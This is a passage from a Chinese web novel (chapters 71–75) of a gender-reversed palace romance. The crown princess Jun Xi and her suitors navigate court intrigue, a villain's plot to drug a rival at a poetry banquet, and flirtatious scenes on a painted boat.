《重生十年前,暴戾太女强宠九个俊美夫郎》 第71章 哥,给我挪个地,我也要 福全心里早就恨极了沈氏父子,同时,他也感谢门外的男子救了他。 他听说过拜月教的恶名,江湖民间都说拜月教是邪教,无恶不作,毒瘤一个。 但福全不在意,在他看来,此刻救他于危难间的拜月教就是圣教。 “我愿意。” 福全说完这话,门外就再无动静,他心里一急,难不成恩人已经离去? “还不知恩人姓甚名谁?可否让小人见恩人一面?我要如何才能加入拜月教?” 东方凌并不愿意露面,刚刚救福全一命除了不想让一个无辜男子清白被辱外,还是想在沈氏父子身旁安插一把锋芒暗藏的利刃。 这么多年来,他只和东方炽和君羲二人说过话,实在不知道如何同人正常交流。 刚刚能说出那些话,纯粹是因为无人能看到他。 露面? 万万不可能。 东方凌垂眸想了想,从腰上取下一枚象征拜月教教中教徒的赤色弯月令牌,透过纸糊的窗户孔飞射进去。 力道刚刚好,正巧落在福全手中。 “令牌联络。” 福全宝贝般将弯月令小心握在掌心,又听到外面有轻轻的敲门声,他瞬间警惕起来,嗓音带着过度受惊后的后怕。 “谁?” 外面没有声响,就仿佛的轻声敲门声是福全的幻觉。 福全想了想,恩人好像是个沉默寡言的男子,做了好事也不愿宣之于口。 他将门打开一条细缝,就看到门外托盘上放着一套小厮衣物,上面写了纸条。 衣服,换上。 福全心里一暖,滚烫的泪喷涌而出。 他是家生子,相处了近二十年的主子说舍弃他就舍弃他,反而是人人唾骂鄙夷的邪教在绝望中救下他。 何等讽刺? 迟则生变,福全快速将衣物穿好,离开了是非之地。 福全全程低着头,降低存在感,径直回了沈府。 恨意在心里扎根,他在沈父惊讶的眼神中笑得憨厚。 “主子,都是奴才运气好,遇到了好心人,给我送了一套衣服。” 沈父心中狐疑,那片地方十分偏僻,怎么会那么凑巧? 他视线扫视在福全身上,福全性格他了解,憨厚老实,忠诚护主。 福全的表情不似作伪,难道真的是自己多疑了?也许,可能真的是巧合吧…… 再说了,沈府也没什么东西能让人费心布局谋划的。 沈父面上笑得温和,亲手扶起小厮。 “福全,你没事真是太好了,我回沈府后,第一时间就派人去给你送衣裳,没想到,没派上用场。” “福全,你救了长卿,就是沈府的恩人,有什么要求,你尽管提,妻主定然会满足你。” 福全一脸惶恐地低下头,只有怀中的赤月令能带给他安全感,他第一次看穿沈父的面孔。 外面懦弱老好人,实则是个心机深沉、手段阴狠的。 他心中对沈父鄙夷不已,面上全是愈发惶恐。 “主子,奴才为公子赴汤蹈火是应当的,您千万别这么说,真是折煞奴才了。” 沈思文正眼都不看福全一眼,她一脸心疼地看着沈长卿破相的脸,怒火中烧。 到底是哪个王八羔子,毁了她精心培养出来的嫡长子,沈长卿这张脸,可金贵着呢! 从小就用上好的洁面膏洁面、之后在用牛乳养护,辅以花瓣水保持沈长卿面部肌肤如剥了壳的鸡蛋般白皙柔嫩。 她俸禄低,纵然跟着知州、县令等分了贩卖人口、收高额入城费的一杯羹,却也不富裕。 她们都吃肉,沈思文能喝口汤就不错了。 沈长卿的脸,花了沈父近大半积蓄。 要知道,保养成现在这样丢失一天又一天积累下来的,如今,一损坏,也不知道会不会留疤…… “大夫,我儿长卿如何了?” 那大夫是羽城中回春堂医术最高的坐堂大夫,她年过花甲,细细感受了一番沈长卿的脉象,收回手。 “哎……” “贵公子这是气急攻心,加上身体不好,染了春雨后入泥的阴寒之气,这才导致贵公子昏迷不醒。” 沈思文根本不关心这个,她只关心沈长卿的脸能不能治好。 “王大夫,你也知道,男子的容颜最是重要,不知……” 沈思文深谙说话的艺术,点到为止提了提沈长卿的脸。 王大夫听懂了。 只是,沈长卿的额头若没有皇室御用玉肌膏,根本没有不留印记的可能。 沈思文几乎怒不可遏,沈长卿可是她亲自培养的青云梯,听闻太女殿下最爱美色,她本以为能靠沈长卿鸡犬升天。 她心情糟糕到了极点,偏偏外间还传来沈氏和小厮交谈的声音。 “沈氏,你就是这么照看长卿的?真是个废物!” 沈氏连忙低头,不敢去看沈思文充斥着怒火的双眸,这么多年,只要沈思文稍有不如意,就会对他非打即骂,他早就习惯了。 这次同样也不例外,明明是沈长卿嫌弃赏花宴枯燥乏味,这才独自出去散心,偏偏还故意甩开了护卫。 沈长卿这么作死,怪得了谁? “啪——” 沈思文虽是一介文弱举人,却也是女子,手上多少有些拳脚功夫,沈父根本躲不过沈思文愤怒的掌箍。 力道之大,沈父头被打偏到一边,脸上的巴掌印迅速红肿起来,口中尝到铁锈味。 他不动声色,依旧一副逆来顺受的懦弱样。 “妻主罚得好,都是侍身的错,才会让长卿错失和殿下偶遇的机会。” 沈思文冷哼一声,这才注意到沈氏身侧有一个年轻男子,刚刚她随意听了一耳朵。 貌似,就是这个低贱的仆人,救了她呕心沥血培养出来的沈长卿。 沈思文摆了摆手,“下去找管家领赏吧,一百两银子。” 福全看着床上心安理得装昏迷的沈长卿,从今往后,他会成为让沈氏父子痛不欲生的噩梦。 花开两朵,各表一枝。 东方凌做完好人好事后,沿着桃花林,复行数十步,看到了君羲和东方炽依偎在一起的画面。 他顿住脚步,隐蔽在桃花树下窥视君羲和东方炽的一举一动。 “嘶……” 君羲打了个冷颤,怎么回事?突然有种如芒在背的感觉? 她刚扶着东方炽快要离开十里桃林、去找大夫治病时,东方炽突然醒了,坚持说自己一点事都没有,阻止了君羲送他就诊。 君羲了然,这是受了刺激,主人格又回来了。 谁知,刚同东方炽坐下一会,就有种被死死盯住的感觉。 “阿凌,是你吗?” 除了东方凌,君羲想不出来,还有谁会在暗中视奸她…… 东方凌撇撇嘴,没意思,姐姐太聪明了,又被发现了呢。 “姐姐,是我。” 君羲上下扫视一番东方凌,问道: “阿凌,你是去哪了?怎么脸都弄花了?” 东方凌皮肤白,也不知道去哪里蹭了一层灰,除了灰还有桃花花瓣的汁液,由于他急速躲避的动作染在他身上,愈发像跌落凡尘的天使了。 东方凌很想硬气地争风吃醋,但他不得不假装大度。 来之前,他和哥哥答应了君羲,要和谐相处,切勿拈酸吃醋。 少年深吸一口气,一双琉璃眼猫儿似的瞪圆,他看向一旁侧头靠在君羲左肩上的东方炽,理不直气也壮地开口道: “哥,给我挪个地,我也要靠着姐姐赏花。” 经过一番折腾,现在已经是天色渐暗,东方炽看了眼跃跃欲试,想靠在君羲右肩的弟弟,轻笑一声。 “阿凌,过来,有你的地儿。” 君羲也默许地点了下头,东方凌这才喜笑颜开,小嘴叭叭的,全然不同在外人面前的社恐少语。 将能讲的、不能讲的,全都说了一遍。 君羲:…… 厉害了,出门不过短短半日,就壮大了拜月教的规模,还在敌人心腹处插了一把刀。 “阿凌,做得好。” 好孩子做对了,就要有奖励。 君羲走心夸了东方凌,然后勾住男子脖颈,在他唇角亲吻。 松手,笑得狡黠。 “这是奖励。” 第72章 姐姐,你尝一尝就知道了 唲—— 君羲和东方炽、东方凌相谈甚欢时,突然传来一声悠远嘹亮的鹰啼。 君羲抬眸一看,桃花林上空盘旋着的,果然是她养的鹰,阿元。 “殿下,是你养的鹰吗?” 东方凌眼神亮晶晶,他最喜欢鹰了,鹰盘旋在天空,自由不受拘束,是他一直渴求而不得的自由。 “姐姐,他叫什么名字?” “阿元。” 说着,她从随身携带的荷包中拿出一只竹哨,竹哨看上去有些陈旧,制作工艺显得有些生涩带着童趣。 从打磨圆滑的边缘可以看出此哨主人对它的喜爱。 他们没猜错,能召唤阿元的竹哨确实是君羲心爱之物。 君羲十岁那年,在春狩中捡到了雪堆中奄奄一息的幼鹰,并取名为阿元。 阿元陪着君羲长大,多少次,及时的传信救了君羲的命。 她和阿元,是过命的交情。 阿元灵智颇高,只有君羲认可的人才能得到它的认可,就算君羲的竹哨被偷了,也不可能凭借哨声收服或对付阿元。 阿元来找君羲,说明凤染和凤轻那边有重要消息需要传递给她。 君羲没有犹豫,好些日子没见到阿元,心里还怪想念的。 她用内力化作坚甲覆在小臂上,站起身,微弯朝天空抬起。 唲~ 不知道是不是心理原因,东方凌居然从一直老鹰叫声中听出了撒娇之意。 阿元体型健壮,是一只健康的雄鹰,展翅足有三米,它高兴俯冲而下,盘旋的风搅动了桃花树树梢,卷落簌簌花瓣。 俯冲的力度看着吓人,实际上落在君羲手臂上时,阿元还是收了力,尖锐有力的鹰爪轻抓在小臂上,灵动的眼左顾右盼。 唲? 若是阿元会说话,东方炽和东方凌定然能知道,阿元是在好奇他们两个的身份。 君羲和阿元相处十年,对阿元的不同叫声代表什么意思比较清楚,她满头黑线,没好气地屈起食指敲了下鹰好奇的脑袋。 “阿元,孤觉得,你也是时候繁衍后代了,你觉得呢?” 阿元老实了,不在用好奇的眼左瞅瞅,又瞧瞧。 它还小,才不要找雌主生小鹰。 见阿元老实安静下来,君羲反而主动给他介绍。 “阿元,他们是孤的未婚夫郎。” 唲唲? “嗯,你以后可以相信他们,先不说这些,我先看看密信。” 阿元左边爪子上绑着一个精巧的小竹筒,君羲熟练打开盖子,从竹筒里抽出一小卷信纸。 君羲没有避开东方炽和东方凌,展开后快速察看。 凤染带着亲卫乔装打扮混迹市井,又实地走访调查,这才确认了,漾州、绥州倭寇猖獗实乃人祸! 安王、两州知州将两州百姓视作交换金银财物的货物,甚至给“货物”分了三六九等。 越是姿容身段好的,等级越高,越能卖一个好价钱。 安王就是盘踞在绥州的土皇帝,她夺嫡失败,被君羲废了双腿后,心里越发扭曲阴暗。 反正这些愚民都是君羲治下的百姓,都是不拥戴她称帝的逆民! 如此,她何必在意他们的死活? 能给安王府带来收入,是他们这些低贱下民的荣幸。 君凌已经彻底疯了,灭绝人性。 将封地的女人、男子、小孩当做牲畜一卖给倭寇,简直是丧尽天良。 小小的信纸上,墨色的字迹力透纸背,光是看着,就能看出写这封密信时,写信人愤怒的心情。 君羲收起信纸,眼中划过一抹暗芒。 内力作用,信纸化作飞灰消散桃林中。 做拐卖人口、勾结外敌的勾当,君凌真是活腻歪了。 君羲已然起了杀心,是她错了,才会碍于太皇太后面子放君凌一条生路,以致绥州、扬州沦落至此。 “殿下,拜月教有专门盯着他们的暗子,你若是需要,侍身可以启用。” 君羲摇了摇头,她根本不需要这么麻烦,以力破万法,等她率领敌人大军到了,将这通敌卖国的漾州、绥州官员杀个干净。 攘外必先安内,等没了内患,倭寇没了内应里应外合,才是最佳的直捣倭寇老巢的时机。 现在,她带的轻骑数量还远远不够,要知道,漾州、绥州两州兵力加起来,有五万之数。 君羲心中盘算着,按照大军的行军速度,大约还有三天,就能抵达漾州边境。 她毫不遮掩对安王等人的杀意。 “阿炽,敌在明,我在暗,先按兵不动,等大军赶到,孤带你们兄弟二人杀个痛快。” “好,殿下。” 东方炽一本正经,东方凌就不一样了,他跟软骨头似的,直往君羲身上贴贴。 “姐姐不用担心,阿凌会保护好姐姐,永远永远。” 君羲挑眉,顺带挠了一下东方凌的下巴。 “小嘴抹了蜜?” “姐姐,是不是抹了蜜,你尝一尝不就知道了?” 君羲面无表情推开东方凌凑过来的脸,义正言辞。 “阿凌,阿元还是个幼鹰,它见不得这些。” 东方凌泛着水光的眼扫向歪头打量他的阿元,气得咬了咬牙。 他要收回自己刚刚心里面的想法,他喜欢的才不是鹰呢!尤其是某只叫阿元的鹰。 阿元不懂,阿元大为震惊,阿元振翅高飞了。 “阿元,回去让凤轻给你新鲜的肉吃。” 桃花林中没有文房四宝,君羲就地取材,用粉色的花瓣榨出粉色花汁,给凤轻回了信。 大致意思就是让她们先按兵不动,不要引起多余的怀疑,等大军行进至漾洲边缘后,以君羲烽烟为号,围杀两州黑了心肝的官员。 “阿炽,阿凌,画舫诗宴的好戏即将开场,走,孤同你们一同去看戏。” 君羲幸灾乐祸,也不知道,沈长卿能不能顺利出席。 她就去看一看,这场专门为她而设下的鸿门宴,究竟在打什么主意。 画舫上人太多,东方凌跟君羲打了声招呼,就飞向画舫船顶,躺在上面,双目放空,呆呆地望着天上一轮圆月。 隔着一层琉璃瓦,他身下便是吵闹喧嚣的人群。 里面有他感兴趣的女子和他生命中最重要的哥哥。 可他因为自身心理原因,只能独自在这船顶上赏月听风。 …… 觥筹交错,靡靡之音。 这艘画舫是漾州最名贵的船,共有三层之高。 飞檐斗拱,雕梁画栋。 沈长卿本来不想参加晚上的诗宴,但奈何……他的母亲苦口婆心地劝说,今夜,能探听到有关君明月敌人重要讯息。 沈长卿咬了咬牙,为了明月,他可以冒一点风险。 “母亲,儿子要去,还劳烦母亲替儿子准备好遮挡头部的幂篱。” 沈长卿的脸经过精心医治后,仍旧不能见人。 他一想到自己那张花颜月貌的脸,被弄得青青紫紫,甚至还有破相的风险,就恨得牙痒痒! 他就不该心软,这一世他不只要嫁给明月,他还要帮君明月登上帝位! 沈长卿心里野心蔓延,他眯起怨毒的眸,他到时候定要好好看一看,看君羲被他踩在脚底时,哀嚎求饶的表情,是不是会很美妙。 “父亲,你确定万无一失?” 沈长卿在十里桃林遇到君羲后,心中就打起了十二分精神。 他心里到底还存在这一丝担忧,担心在宴席上遇到君羲,又被无理由折辱一通。 沈思文笑得一脸慈祥,但仔细看,就能看到遮掩在他慈祥外表下,熊熊燃烧的野心和青云直上的渴望。 沈长卿怎么能玩儿得过沈思文这个老狐狸?稀里糊涂就跟着出了门。 沈思文满意打量着自己一手教养出来的极品男子,带上幂篱后,显得有几分神秘,不染俗世的仙气。 沈思文暗中满意,紧了紧腰间夹带的烈性春药,若不是沈长卿,关键时刻掉链子伤了脸,她也不会选择用这猛烈的虎狼之药。 此药名“烈春”。 第73章 放心,本夫会护着你们 “烈春”,非男女交合不能解,就算服下解药也只能暂时缓解,而且,在解药药力过后,会加倍反噬。 沈思文本来不想用这么烈的春药,但君羲好颜色是出了名的,不用这种能让人热得眼前模糊不清的烈药,她怕沈长卿那张青紫的脸倒了太女殿下的胃口。 机会可能只有这一次,下一次,储君就没那么好接近了。 沈思文收敛眼中的算计,笑着摸了摸沈长卿的头。 “长卿,放心吧,一切有母亲在,定能让我儿称心如意,嫁得好妻主,幸福美满一生。” 沈长卿顿时心花怒放了,虽然和明月的见面过程曲折了些,到底是如愿以偿了。 就是可惜了那身元锦做的衣裳,明月还没看到他穿上身惊才绝艳的效果,就被君羲毁了。 君羲,君子报仇,十年不晚。 沈长卿在心里暗暗发誓,不报了这罚跪磕头之辱,他就不姓沈! 羽城外,停着一辆奢华无比的马车。 马车内,是一个端坐在轮椅上的阴鸷女子,身侧服侍的,正是君凌的心腹——云霄。 “王爷,你莫不是看上了沈家嫡长子?怎的突然想去漾州赴宴了?” 君凌自从被打断双腿后,心理扭曲的她越发阴晴不定,动辄大发雷霆,此刻闻言,毒蛇一样的眼神锁定云霄。 “本王自有打算,多嘴。” 云霄早就习惯了,她心中替君凌惋惜,曾经的君凌,虽然处处被君羲压了一头,但在玉京城中,也是风头无两的女郎。 傲人的身份背景,惊艳不俗的容貌,夫子称赞的学识…… 曾经的君凌多风光,一朝败北后就有多狼狈。 君凌心里一直打着杀上玉京城,推翻君羲统治的主意,所以她才不择手段地敛财,就为了养私兵。 君凌满心都是玉京城的繁华和权势,什么沈长卿?不过是偏远州城里的一个男子,有什么好在意的? 她“好姐姐”君羲强娶豪夺回东宫的男子,才是真正的极品,才配得上帝王。 君凌来羽城,不过是听到了风言风语,杨素衣就在羽城,君羲手中。 君羲也在羽城,会出现在赏月宴上。 说起来,她和君羲自上次玉京一别,已经快有五年不曾见面,也不知道,君羲现在活得如何了。 君清荣和君明月,可不是善茬。 君凌日日烧香拜佛,求神佛显灵,让君羲被信任的血脉至亲算计而死。 可惜,一直没有传来君羲薨了的好消息…… “本王去会一会太女。” 云霄冷汗直冒,她不明白,王爷怎么一提到太女殿下就会失去理智。 连她都明白,以王爷目前的实力,想对付君羲就是以卵击石,蚍蜉撼树。 可她偏偏被君明月蛊惑,派出杨素衣以及养了多年的私兵前去幽雾谷埋伏君羲。 失败后,杨素衣被俘,也不知道酷刑伺候下会不会出卖王爷。 君羲会来绥州、漾州,说不准已经发现了两州倭寇横行背后的猫腻…… 留得青山在,不怕没柴烧。 这种节骨眼上,王爷居然还不死心,不乖乖缩在绥州城,想着如何善后,保住小命,还跑到太女面前去张牙舞爪! 若不是身份不允许,云霄真想双手抱住王爷的脑袋使劲晃一晃,听听里面是不是都是水? 然而无论云霄心中如何拒绝、想劝阻君凌不要去招惹君羲,君凌还是一意孤行。 “云霄,扶本王下去。” 云霄长叹一声。 “哎……王爷,您这是何必?” 韬光养晦五年,今晚在君羲面前露面,可谓是前功尽弃,何苦来哉? 君凌坚持,强硬道: “不必再说,本王今日一定要见君羲一面!” 云霄无法,只得扶君凌下马车。 “王爷,属下不拦你了,只是想请王爷牢记,您就是属下们的主心骨,行事一定要稳妥。” 君凌不耐烦打断,“行了行了,本王自有分寸。” 她迫不及待想看看,君羲到底有没有被君清荣下的五石散折磨得人不人鬼不鬼。 羽城外十里,君凌不知道,她的马车刚刚抵达羽城,就从君羲安排的接应军队跟前路过,相当于在阎王面前走了一遭。 溟汐站在最前面,落后他三步距离的正是轻骑军副统领,凤轻。 “凤轻,本夫要进羽城。” 溟汐担心君羲的处境,她再厉害,也是单枪匹马。 让他如何放心? 凤轻冷汗刷的一下就顺着脊背往下流,殿下离开的时候,特意跟她嘱咐过,保护好溟汐,不能让他出一点差错。 更加况,太女殿下此去羽城,阴差阳错结识了未过门的两个夫郎,溟汐去了,怕是会情敌见面,分外眼红…… 想到那三个男人一台戏的画面,凤轻已经开始在心里给太女殿下点一炷香了。 “汐公子,不是属下不让你去,实在是君命不可违……” 溟汐心中已经打定主意,他说出口,只不过是为了让凤轻知道他的去向,只是通知她,而不是寻求她的意见。 不在君羲面前,溟汐一族少族长、战无不胜的海中霸主的一面显露无疑。 “凤轻,我意已决,你拦不住我。” 凤轻苦笑,她何尝不知? 自溟汐给君羲挡了致命一剑后,她们就知道,溟汐武力仅次于殿下。 “罢了,汐公子想去,属下自知拦不住您。” 凤轻也不可能让溟汐单枪匹马就去闯龙潭虎穴,否则,君羲知道,非得弄死她不可。 凤轻可不敢惹怒君羲,她提出安排五十人暗中保护溟汐的要求。 “汐公子,你若是同意,属下就不在拦你。” 溟汐扫了一眼凤轻点名出来的五十个精兵,都是武者五重,算得上不错的帮手。 他心里也清楚,凤轻已经是让步了。 同时,他心中也觉得甜蜜,这都是妻主重视他、爱他的证明。 虽然这些人都打不过他…… 算了,他会照顾好殿下的兵,保证她们全须全尾回来。 “本夫答应。” 凤轻松了口气,她们在场的,一个能打过溟汐的都没有。 她还真怕,溟汐一走了之。 “汐公子深明大义,难怪殿下爱重您。” 溟汐羞涩一笑,转而压低声线,在君羲面前清澈荡漾的碧眸深沉似幽潭,极具压迫力。 凤轻不由自主站直了身体,怎么回事? 汐公子此刻给她的感觉和殿下阅军时压迫感十足的感觉一模一样。 这或许,才是真正的汐公子。 鲛族皇脉,海中霸主。 “尔等,随本夫进城,接应殿下。” 他早就换上了便装,只是,就算换上便装,鲛人皇族特有的银色长发以及碧眸还是太过显眼。 凤轻欲言又止,溟汐像是知道凤轻想说什么一样,预判了凤轻的预判,开口道。 “你们当中,水性出众者,随本夫走水路,其余化整为零,各自想办法入羽城。” 很快,就有十个水性好的士兵站了出来,溟汐点点头,比他想象中的数量要多一些。 “出发。” 溟汐一声令下,五十人立刻执行命令。 凤轻有种恍惚间,君羲就在她们面前的感觉,真不愧是太女殿下看中的夫郎,天下奇男子也! 羽城临海,有三条河流都会流经羽城,其中,最著名的一条河,名为冰河。 顾名思义,这条河并未结冰,却冷若坚冰,人在其中待不了半个钟就会热量流散、冻死,是天然保护羽城的屏障。 除此之外,冰河中还有一种牙齿锋利、长相奇特的大鱼。 大鱼成群结队,凶猛无比。 但凡试图进入冰河,潜入羽城的都会被这些怪鱼撕得粉碎,血水染红河水。 溟汐并不在意这些,这些大鱼在凶猛,也比不过大海中的鲨鱼、虎鲸。 鲛人一族站在海洋食物链的顶端,鲨鱼,虎鲸都是他们的食谱上的食材,区区大鱼,不值一提。 “放心,本夫会护着你们。” 第74章 阿炽,不许笑 溟汐纵身一跃,水花四溅。 冰冷的河水让他舒服地慰叹一声,有种回到海洋深处的感觉,久违的家的感觉,太舒服了。 长长的黑色鱼尾不在刻意收敛锋芒,寒光一闪而过,闻声而来的怪鱼就被健壮有力的鱼尾切豆腐似的断成两段。 血迹在水中晕染开来,血腥味迎面而来。 五名轻骑军看着在水里大杀四方的溟汐,莫名觉得腰部一凉。 看得出来,汐公子真的很喜欢腰斩了,就跟有强迫症一样,每条试图靠近攻击的怪鱼断成的比例都一模一样! 丛林法则,强者为尊。 这句话放在水中世界也适用,随着同类死亡速度越来越快,成堆的鱼尸漂浮在河面,长着一口密集尖牙的大鱼终于怕了。 冰河里,来了个了不得的天敌。 溟汐自入了东宫后,习惯性在君羲面前扮柔弱、装可怜,已经很久没有这样痛快地杀过了。 怪鱼怕了凶残的鲛人,成群结队四散奔逃。 溟汐可不乐意了,华丽漂亮带着锋锐杀意的大尾巴一甩,化开水面,以闪电般的速度追杀而去。 杀得怪鱼底朝天。 岸上的五人已经看傻眼了,不由自主咽了咽口水。 汐公子这也太凶残了…… 也只有殿下,也能享受这种伪装乖巧的凶残绝色美男。 “本夫已经替尔等开好路,下来吧。” 溟汐碧色的眸隐隐泛着血光,他和羲羲已经快三天没见面,一日不见,如隔三秋,他想死羲羲了。 恨不能立刻、马上出现在君羲面前,拥抱她,亲吻她,和她肌肤相亲、不分彼此…… 溟汐的思念成狂,带着入骨的病态。 血液里有一种难言的躁动,溟汐几乎快压制不住深沉的欲念,所以才靠杀戮来发泄心中不断澎湃增长的欲望。 五个轻骑军听了溟汐的话,心中有些羞愧,堂堂大女人,还得需要主子的男人来开路。 就跟下饺子似的,扑通扑通地往下跳,眼神根本不敢乱看。 也就错过了溟汐眼底病态偏执的渴望。 男人纤长浓密的睫半垂,他似乎有些不对劲。 鲛人的发热期到了呢。 发热期共七天,鲛人会无限渴求伴侣的抚慰陪伴,每时每刻、每分每秒,都想缠着伴侣,同时求子欲会达到巅峰。 鲛人在发热期性欲会暴涨,渴望伴侣的气息,溟汐身为鲛人皇族一脉,这种情况会更加严重。 只是,君羲不在溟汐身边,他只会一直压抑,他只愿意在君羲身边失控,发热期疯狂所求的一面,也期盼妻主能欣然接受呢。 溟汐在前面开路,披荆斩棘,畅通无阻,甚至还有余力分出鲛珠的力量将周围的水域变暖。 五名轻骑军敏锐察觉到了冰冷的水变得温暖事宜,眼睛一下子睁大了。 谁说汐公子凶残了? 汐公子可太温柔了,又貌美又贴心,简直就是梦中夫郎啊! 太女殿下好福气啊。 溟汐还不知道,他不过顺手的事儿,让内心戏丰富的轻骑军变脸变得一个比一个快。 他满心就只有一个念头,回到妻主身边。 夜幕降临,周围的能见度越来越低。 黑暗的环境就是天然的掩护,再加上从未有人能通过冷得刺骨的河水以及凶残吃人怪鱼的封锁,所以,冰河附近的守卫十分薄弱。 溟汐等人很快就悄无声息从冰河河底悄无声息潜入羽城。 羽城,千羽湖。 明灯三千,水天辉煌。 一艘富丽堂皇、精美无比的三层画舫缓缓靠岸。 应邀而来的宾客纷纷上船,她们大都抱着见沈长卿一面的想法而来。 画舫的三楼,雕栏玉砌。 精致的八角宫灯垂着红色流苏,夜风拂过,红色流苏随着宫灯一起摇晃,原本深沉的夜色摇曳生姿起来。 沈长卿跟在沈思文身旁,站在最高层的栏杆处。 他向来知道怎么将自己的美貌发挥到极致,浅蓝色的幂篱随着宫灯的摇晃而摇曳。 恰到好处的光晕模糊了他青紫伤破的脸庞,营造了一种朦胧,只可远观不可亵玩的疏离清冷氛围。 他身姿如柳柔,又似竹坚,两种矛盾的气质在他身上糅合得极好。 刚刚踏上甲板的宾客,仰头望向三楼栏杆处,倚栏而立的男子,男子自行惭愧,女人心生向往。 “漾州第一公子,名不虚传!” “长卿公子如此仙人之姿,让我等……如何活啊。” 恰巧知道真相的东方炽听到无知宾客们的夸赞,没忍住,嗤笑出声。 他伸手牵住君羲手腕,额前碎发在灯光的映照下,毛茸茸的,散发着浅色的光晕。 东方炽低头,凑近君羲的耳侧,说话时,温热的气息打在她如玉肌肤上,惹起一阵酥麻。 “殿下,若是她们知道,被她们交相称赞的长卿公子……幂篱之下是一张青肿如猪头的丑脸,我都不敢想象,她们的表情该是多么的好笑。” 似乎是想到了有趣的画面,东方炽眼中笑意盈盈,盛了细碎暖光的眸中倒映了君羲红色的身影。 真挚、唯一。 君羲望着这双看狗都深情的桃花眼,就像被蛊惑到了一样,她抬手遮住东方炽双眼。 “不许笑。” 东方炽莫名,眨了眨眼,长长的睫毛扫过女人的手,心痒痒的,心中似有爱意扎根。 “为什么?” 君羲没说话,冷着脸理直气壮,拉着男子的手,就往贵宾室里走。 “借过,劳烦让让。” “让让……” 在一众被故作姿态的沈长卿吸引而驻足的人群中,有一对身穿红衣的男女丝毫没受影响,挤开人群,逆流而去。 哒、哒、哒…… 木质的楼梯被踩出渐快的脚步声,吱呀—— 画舫三楼,拥有最佳观赏江上风景的房间被人推开。 沈长卿若有所感回头,只来得及看到一闪而过的红色衣摆,看上去…… 似乎是一男一女,还有些眼熟。 沈长卿没有多想,只当是耐不住寂寞,想一夜春宵的男女。 沈思文察觉到沈长卿的走神,心里有些不满,他正在给沈长卿造势,让他吸引太女殿下的注意,沈长卿却走神了。 “长卿,怎么了?” 她狐疑看向沈长卿目光注视的方向,莫不是有野女人勾引她的嫡长子? “长卿,刚刚是有人在那儿吗?” 沈长卿忽略心头突如其来的心悸,摇了摇头。 “母亲,没什么,明月公主现在何处?” 沈思文没有正面回答他的问题,故作神秘道: “长卿,你放心,待你在诗会上大放异彩,定然能引起那人的注意。” …… 人群热闹的喧嚣声,越来越远。 进了房间后,只有他和君羲二人,坏坏的大狗拽住女人的手,裙摆花一样盛开旋转一圈。 他将心头最娇艳的那一朵花,揽入怀中。 眼尾挑起一抹痞气,坏坏地将女人腰肢圈住,就像大狗圈占地盘一样,将君羲牢牢圈在自己的气息中。 他的呼吸滚烫,胸膛也炽热,本来清澈的少年音此刻带着哑。 “殿下,你还没问答我的问题。” 他轻吻君羲的耳骨。 “为什么不让我笑?” 君羲耳根烧得慌,面对男子接踵而至的暧昧询问,她伸手搭在男子圈住她腰身的大手上。 轻抹慢捻抹复挑,暗哑的声线里占有欲十足。 “因为阿炽笑得很好看。” 东方炽觉得这样的君羲有点可爱,明知故问。 “好看又如何?” 君羲毫不遮掩自己的占有欲,搭在男子的大手手背上的手指愈发用力,带出一片红痕。 “阿炽,你只能在孤的面前笑得这么好看。” 君羲语气带着诱哄的意味,就像哄骗小白兔的大灰狼。 “外面都是坏女人,她们都不怀好意,阿炽,你要保护好自己,知道吗?” 东方炽低笑出声,胸膛随着他笑而微微颤动,夹杂着男人的性感,又带着少年的朝气。 “知道了。” “都听你的,殿下。” 第75章 情爱上头,是难以自控的! 东方炽和君羲二人亲热了好一会儿,彼此都被惹了一身火。 君羲始终记得有要事要做,这才强迫自己冷却下来。 “阿炽,我想,我们都需要冷静一下。” 东方炽此刻姿态欲得撩人心弦,眼底细碎的暖光,原本是阳光耀眼的,现在却因为爱欲的纠缠变得暗沉浓郁。 桀骜锋利的眉眼染了欲色,就像被迫折腰的烈狼,眼尾泛红。 他背靠着紧闭的雕花木门,深吸了好几口气,好听的声音喘息着。 红色的衣襟因为被女人不堪承受时攥紧而乱糟糟的,隐约可以窥见男子健硕的胸肌。 “殿下……” 君羲软声回应。 “嗯?” 东方炽发现,他愈发离不开君羲了,只要她出现在他的面前,不用多做什么,就能让他情难自抑。 他抬手遮住眼,缓缓站直了身体。 “若想我冷静下来,姐姐要离我远一些才行。” 君羲无奈,东方炽嘴上说着要让她离他远一些,但横在腰间的那支铁臂,却是坚固如铁锁。 死死锁住她的腰肢,不让她轻易脱离。 君羲动了动腰肢,发现挣不开,无奈伸手去拿男子掩耳盗铃遮住双眼的手臂。 “阿炽,你不松开孤,孤怎么离你远一些?” 东方炽也想松手,但他的手臂似乎有自己的想法。 脑子在命令:冷静,快松开。 手臂却在说:不要,就要缠着她。 东方炽第一次知道,原来情爱上头了,是难以自控的。 他极力克制着,这才收回了想死死圈住女人腰肢的手臂。 君羲见东方炽实在被欲望折磨得不行,觉得再这样下去,迟早会擦枪走火,果断离男子远远的。 他们的房间里有一扇大大的轩窗,推开窗,湖面街边的景色,一览无余。 君羲负手立于窗前,任由微凉的夜风抚过她发烫的脸庞。 只是,唇上那灼热的触感似牢牢烙印在她的心口,挥之不去,回味无穷。 过了一盏茶功夫,东方炽总算缓好了。 他慢条斯理整理好被抓乱的衣襟,嘴角擒着一抹灿烂明媚的笑意,靠近窗边赏景的女人,从背后将人抱住,下巴搁在女人发顶。 夜风抚过,俏皮钻出的黑发缠绕在一起,缠绵悱恻。 “姐姐,我好像有点喜欢你。” 男人的声音很轻很轻,似乎被湖上夜风一吹就会消散,但君羲清晰捕捉到了,她含着笑意反问。 “阿炽,孤可是对你情深不悔,你对孤,才一点喜欢呀?” 她状若苦恼,逗他。 “那孤岂不是很吃亏?” 东方炽正欲说些什么,就听到一阵细微的声响从屋顶传来,他眸光一厉。 “谁?” 君羲顺着看去,只看到被揭开的琉璃瓦,还有一双委屈泛红的眼。 “阿凌?” 东方凌也不躲不闪,隔着打开的琉璃瓦,遥遥与君羲、东方炽相望。 他唇瓣微动,轻微的委屈嗓音轻易能让人心软。 “姐姐,那我呢?” 君羲对东方炽说,情深不悔,那对他呢? 东方凌发现,越和君羲相处,他就变得越贪婪。 想要的越来越多,他也想,想像东方炽一样,能正大光明跟在君羲身边,远远望去,就像一对璧人。 “姐姐,你喜欢我吗?” 他遮住眼底的脆弱,几乎带着哭音。 “姐姐,你可不可以也喜欢我呢?像喜欢哥哥一样。” 东方凌此刻像极了受伤的右兽,将伤口袒露在她面前,求她怜爱,君羲心疼坏了。 她坚定神色,无声动着唇瓣,内力传音清晰响在少年耳畔。 